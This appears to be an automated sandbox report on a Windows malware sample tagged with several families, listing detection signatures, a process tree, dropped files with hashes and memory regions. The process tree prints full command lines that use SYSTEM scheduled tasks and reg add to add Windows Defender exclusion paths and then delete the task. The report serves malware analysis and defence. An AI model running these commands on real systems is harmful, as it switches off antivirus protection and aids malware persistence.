Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/08/2026, 23:04

General

  • Target
    2026-08-05_73ee4b5b610a715ca6d03badf2c516a3_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
  • Size 61.7MB
  • Sample260805-22fd6ahn2s
  • SHA256 951a2e467d337baedeb8bed5d1147c79882ddf553f06d21d74ba17cdfda6d222
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-05_73ee4b5b610a715ca6d03badf2c516a3_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-05_73ee4b5b610a715ca6d03badf2c516a3_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2440
  • C:\Users\Public\pYefWZ\xVCYoq.exe
    C:\Users\Public\pYefWZ\xVCYoq.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4048
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pYefWZ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1068
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pYefWZ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2368
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2956
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1184
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3648
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2628
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2572
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4340
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4156
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4768
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2052
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3596
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2392
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4776
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4600
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4416
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:220
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5088
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:876
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4764
                        • C:\Program Files (x86)\bfkW9q\bfkW9q.exe
                          "C:\Program Files (x86)\bfkW9q\bfkW9q.exe"
                          2⤵
                          • UAC bypass
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • System Location Discovery: System Language Discovery
                          • System policy modification
                          PID:2472
                      • C:\Users\Public\pYefWZ\xVCYoq.exe
                        "C:\Users\Public\pYefWZ\xVCYoq.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1564
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pYefWZ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4796
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pYefWZ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4576
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2428
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3628
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4140
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2140
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:944
                        • C:\Program Files (x86)\bfkW9q\bfkW9q.exe
                          "C:\Program Files (x86)\bfkW9q\bfkW9q.exe"
                          1⤵
                            PID:800

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\bfkW9q\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 41a0435e5142c5a235c868452bad795b59cf69d779a999c9cc13ed3c2b5d7e2f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                bfkW9q.exe

                                • Path C:\Program Files (x86)\bfkW9q\bfkW9q.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\bfkW9q\image.png
                                • Size 5.0MB
                                • SHA256 83901990a66df18afc1665a89b23c6db7a83c42566e49f0438b927833521b1ff
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                thumbs.db

                                • Path C:\Program Files (x86)\bfkW9q\thumbs.db
                                • Size 358KB
                                • SHA256 5cdd16f189ada78b66ab17e4d96e99baa247b650e2514c1f6501dfcf4b5f5686
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\pYefWZ\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 f16313d4efbe3c04d26f9ee8b502d39e38cc8bdcb4aa57ada61bcaaca89cae15
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\pYefWZ\adoresd.dat
                                • Size 4.7MB
                                • SHA256 4e72fd3e0597b680e2131b84d431b5daed15edddf8bd78ac05f32306b2036637
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\pYefWZ\msadox.tb
                                • Size 8KB
                                • SHA256 324afdc0353fb6c048ac9b9592bacb2160607448d3ff45d5fd85386dbc59e7ee
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                xVCYoq.exe

                                • Path C:\Users\Public\pYefWZ\xVCYoq.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1564-582-0x000001F5F8FD0000-0x000001F5F9861000-memory.dmp

                                memory/1564-574-0x00007FFA6FF80000-0x00007FFA6FF82000-memory.dmp

                                memory/1564-580-0x000001F5F8FD0000-0x000001F5F9861000-memory.dmp

                                memory/1564-575-0x000001F5F8FD0000-0x000001F5F9861000-memory.dmp

                                memory/1564-579-0x000001F5F8FD0000-0x000001F5F9861000-memory.dmp

                                memory/1564-572-0x000001F5F8FD0000-0x000001F5F9861000-memory.dmp

                                memory/1564-569-0x00007FFA53BA0000-0x00007FFA540BE000-memory.dmp

                                memory/1564-581-0x000001F5F8FD0000-0x000001F5F9861000-memory.dmp

                                memory/1564-583-0x00007FFA6FF70000-0x00007FFA6FF72000-memory.dmp

                                memory/2440-0-0x00000000001E0000-0x00000000001ED000-memory.dmp

                                memory/2440-523-0x00000000001E0000-0x00000000001ED000-memory.dmp

                                memory/2440-503-0x00007FFA60F10000-0x00007FFA60F20000-memory.dmp

                                memory/2440-1-0x00000000001F0000-0x00000000001FB000-memory.dmp

                                memory/2440-524-0x00007FFA60F10000-0x00007FFA60F20000-memory.dmp

                                memory/2472-684-0x0000000004390000-0x00000000043A4000-memory.dmp

                                memory/2472-665-0x00000000013A0000-0x00000000013A1000-memory.dmp

                                memory/2472-666-0x0000000075430000-0x0000000075B7A000-memory.dmp

                                memory/2472-670-0x0000000003AF0000-0x00000000042F7000-memory.dmp

                                memory/2472-672-0x00000000013C0000-0x00000000013C1000-memory.dmp

                                memory/2472-673-0x0000000003AF0000-0x00000000042F7000-memory.dmp

                                memory/2472-677-0x0000000003AF0000-0x00000000042F7000-memory.dmp

                                memory/4048-535-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-564-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-563-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-554-0x000001B802D40000-0x000001B802D8E000-memory.dmp

                                memory/4048-555-0x000001B8031B0000-0x000001B80323A000-memory.dmp

                                memory/4048-557-0x000001B8031B0000-0x000001B80323A000-memory.dmp

                                memory/4048-558-0x000001B8031B0000-0x000001B80323A000-memory.dmp

                                memory/4048-556-0x000001B8031B0000-0x000001B80323A000-memory.dmp

                                memory/4048-549-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-544-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-545-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-538-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-543-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-542-0x000001B8024A0000-0x000001B802D31000-memory.dmp

                                memory/4048-537-0x00007FFA6FF80000-0x00007FFA6FF82000-memory.dmp

                                memory/4048-529-0x00007FFA6FF70000-0x00007FFA6FF72000-memory.dmp

                                memory/4048-530-0x00007FFA53BA0000-0x00007FFA540BE000-memory.dmp